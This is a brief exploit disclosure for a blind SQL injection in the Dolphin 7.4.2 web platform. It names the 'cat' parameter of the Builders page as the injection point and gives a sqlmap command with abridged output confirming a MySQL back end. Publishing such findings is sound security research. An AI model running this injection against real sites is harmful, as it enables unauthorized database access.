Dolphin 7.4.2 Blind SQL Injection

`# Exploit Title: Blind SQL Injection - dolphinv7.4.2.  
# Date: 8/2024  
# Exploit Author: Andrey Stoykov  
# Version: 7.4.2  
# Tested on: Ubuntu 22.04  
# Blog:  
https://msecureltd.blogspot.com/2024/07/friday-fun-pentest-series-8-dolphinv742.html  
  
  
SQL Injection:  
  
Steps to Reproduce:  
  
1. Navigate to "Builders" menu  
2. The HTTP GET parameter of "?cat=builders" is displayed in the URL bar  
3. That is the injection point  
  
sqlmap -r request.txt --dbms=mysql -p cat  
  
[...]  
[INFO] the back-end DBMS is MySQL  
web application technology: PHP 5.4.45, Apache  
back-end DBMS: MySQL >= 5.0.12  
[...]  
  
`